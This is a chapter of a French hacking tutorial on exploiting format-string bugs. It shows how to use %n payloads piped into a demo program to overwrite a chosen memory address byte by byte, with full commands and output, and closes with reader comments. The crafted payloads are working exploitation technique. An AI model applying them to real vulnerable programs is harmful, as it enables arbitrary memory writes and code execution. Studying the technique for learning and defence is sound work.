Format Strings


<< Lire n'importe où en mémoire Accès direct aux paramètres >>


III°) Exploitation de format strings : écrire à une adresse arbitraire

   Nous avons réglé le problème de la lecture à n'importe quelle adresse mémoire. Maintenant, penchons-nous sur le problème de l'écriture qui paraît plus intéressant. A priori, si on peut récupérer une adresse arbitraire et la lire, on peut remplacer son contenu en utilisant %n au lieu de %s, non ? Ainsi, nous allons essayer de changer le contenu cette fois de la variable entière i. Pour vérifier le résultat de notre manipulation, on rajoute avant l'annonce de fermeture du programme la ligne
    printf("\ni = %d = %x",i,i);
Puis, on effectue notre petit test en opérant de la même façon que pour la lecture en mémoire, en utilisant %n :
    $ echo `printf "\x8c\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%x%n | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

    i = 1337 = 539 et se trouve à 0x804988c
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, Œ˜%x-%x-%x-%x-%x-%x-%x-%x%n

    ou comme ça : Œ˜bfc9d404-12-804988c-bfc9d4d0-bfc9d4cc-b7f9bff4-b7f9c820-bfc9d4d8
    i = 68 = 44

    Fin du programme

    $
Effectivement, i n'est plu égal à 1337, mais à 68. Maintenant, on se demande comment maîtriser ce par quoi est écrasé cet entier. C'est relativement simple car on peut spécifier le nombre de décimales présentes à l'impression, c'est à dire que si on avait effectué printf("%08x",i);, la sortie aurait été 00000539, ajoutant le nombre de 0 nécessaires pour présenter 8 décimales (quand le nombre n'est pas standard comme 8, des espaces sont ajoutés).
On a vu que dans notre cas, 68 bytes sont écrites jusqu'au %n. Ajoutons donc 32 bytes pour faire 100 (comme l'adresse du 8eme paramètre contenait 8 bytes, %x == %08x, donc on demande un format de 32 + 8 = 40 bytes pour l'un des caractères).
    $ echo `printf "\x8c\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%40x%n | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

    i = 1337 = 539 et se trouve à 0x804988c
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, Œ˜%x-%x-%x-%x-%x-%x-%x-%40x%n

    ou comme ça : Œ˜bf9a1104-12-804988c-bf9a11d0-bf9a11cc-b7f77ff4-b7f78820-           bf9a11d8
    i = 100 = 64

    Fin du programme

    $
Parfait. Mais vous allez me dire "ok, c'est faisable pour un petit nombre, mais si on veut réécrire une adresse mémoire, ce qui paraît plus intéressant ?". Bien sûr, il existe un autre moyen. Nous allons essayer de changer la valeur hexadécimale de i à 0xfedcba98 (comme nous le ferions pour une adresse mémoire). En fait, cela se fait en écrivant tour à tour les 4 bytes de l'adresse, à savoir 98, puis ba, puis dc et enfin fe (nous travaillons toujours en little endian).
Ecrire 98 parait facile en utilisant le procédé précédent (0x98 = 9*16 + 8 = 152) :
    $ echo `printf "\x8c\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%92x%n | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

    i = 1337 = 539 et se trouve à 0x804988c
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, Œ˜%x-%x-%x-%x-%x-%x-%x-%92x%n

    ou comme ça : Œ˜bfc943f4-12-804988c-bfc944c0-bfc944bc-b7f4eff4-b7f4f820-                      bfc944c8
    i = 152 = 98

    Fin du programme

    $
Ok pour ce premier byte, facile. Tout d'abord, il faut remarquer que nous avons besoin d'un autre argument, pour ajouter entre les %n un %x et ainsi augmenter le nombre de bytes écrites à notre guise. Peu importe l'argument, du moment qu'il bouche un trou de 4 bytes. Le mot HACK paraît bien adapté pour ce job.
Par conséquent, notre chaîne formatée doit commencer par \x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08, en prévision des 3 autres écrits à faire. Seulement, il faut réajuster le nombre de bytes écrites pour le premier mot. On a ajouté 6*4=24 bytes, on ne demandera par conséquent plus que 68 bytes pour le premier argument. Pour le deuxième, on veut écrire ba = 186, on demande donc 186-152 = 34 bytes supplémentaires.
    $ echo `printf "\x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08"`%x-%x-%x-
    %x-%x-%x-%x-%68x%n%34x%n | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

    i = 1337 = 539 et se trouve à 0x804988c
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, Œ˜HACK˜HACKŽ˜HACK˜%x-%x-%x-%x-%x-%x-%x-%68x%n%34x%n

    ou comme ça : Œ˜HACK˜HACKŽ˜HACK˜bfbeeb54-12-804988c-bfbeec20-bfbeec1c-b7ff2ff4-b7ff3820-                             bfbeec28           4b434148

    i = 47768 = ba98

    Fin du programme

    $
Tout a l'air de fonctionner à merveille. On réitère donc le même procédé pour écrire dc (=220) et fe (=254) qui occasionent également deux écarts de 34 bytes :
    $ echo `printf "\x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08"`%x-%x-%x-
    %x-%x-%x-%x-%68x%n%34x%n%34x%n%34x%n | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

    i = 1337 = 539 et se trouve à 0x804988c
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, Œ˜HACK˜HACKŽ˜HACK˜%x-%x-%x-%x-%x-%x-%x-%68x%n%34x%n%34x%n%34x%n

    ou comme ça : Œ˜HACK˜HACKŽ˜HACK˜bfc60bc4-12-804988c-bfc60c90-bfc60c8c-b7fd1ff4-b7fd2820-                             bfc60c98            4b434148           4b434148           4b434148

    i = -19088744 = fedcba98

    Fin du programme

    $
Parfait, i représente désormais l'adresse que l'on cherchait à lui attribuer. Certes, cette adresse était arrangée afin de faciliter la compréhension de l'exploitation, puisque chaque byte successif était plus grand que le précédent, ce qui tombait bien, puisque a priori, le nombre écrit augmente à chaque %n. Mais vous vous en doutez, il existe une technique pour écrire une adresse aléatoire : en fait, pour écrire par exemple la suite 0x12345678, on écrit d'abord 0x78 (=120), puis 0x156 (=342), puis 0x234 (=564) et enfin 0x312 (=786), soit un écart égal de 222 bytes entre les trois derniers paramètres formatés. La suite en images :
    $ echo `printf "\x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08"`%x-%x-%x-
    %x-%x-%x-%x-%36x%n%222x%n%222x%n%222x%n | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890

    i = 1337 = 539 et se trouve à 0x804988c
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, Œ˜HACK˜HACKŽ˜HACK˜%x-%x-%x-%x-%x-%x-%x-%36x%n%222x%n%222x%n%222x%n

    ou comme ça : Œ˜HACK˜HACKŽ˜HACK˜bfd30c94-12-804988c-bfd30d60-bfd30d5c-b7f9fff4-b7fa0820-                    bfd30d68                                                                                                                         4b434148                                                                                                                         4b434148                                                                                                                         4b434148
    i = 305419896 = 12345678

    Fin du programme

    $
Et voilà, on peut donc désormais écrire n'importe quoi, n'importe où en mémoire. Lecture, écriture... Il devrait être possible de se servir de cette faille pour éxécuter.. un bytecode par exemple ? Oui bien sûr. Mais avant, nous allons étudier un moyen de simplifier cette écriture un peu longue que nous venons de voir.

<< Lire n'importe où en mémoire Accès direct aux paramètres >>



3 Commentaires

cybergourou (mael) 24/03/11 15:45
Merci pour votre réponse, je m'y met plus en profondeur, je vais installer le dernier Ubuntu(10.10) (codeblock utilise GDB) et je me suis fait un environnement Linux sous windows xp (Msys et Gnu) mais je n'arrive pas à le faire fonctionner... (je fais des études en math, pas en info ^^) Alors j'apprends seul, mais encore un grand merci pour des informations sur un domaine qui m'a toujours fasciné.

FrizN 26/10/10 07:53
Vous ne devez pas penser en "ça ne fonctionne pas", mais "ça n'a pas fonctionné dans mon cas". Pourquoi ? Peut-être que votre environnement est différent du mien, différent processeur, différent système d'exploitation. Ce sera cela avec 90% des articles. Réussir à adapter en ayant simplement compris le principe fait tout en sécurité. Pensez notamment à débugger avec GDB pour voir ce qu'il se passe.

mael 25/10/10 16:22
Voila la bonne section :). le passage "printf("\ni = %d = %x",i,i); " avec ebsuite le "%x%n" ne fonctionne pas... et i garde la même valeur. Aussi je voulais savoir a quoi correspondait "$ echo `printf..." est ce qu'il faut le rajouter seulement sous Linux ?Merci d'avance pour votre réponse et pour tout ce que vous faite .




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.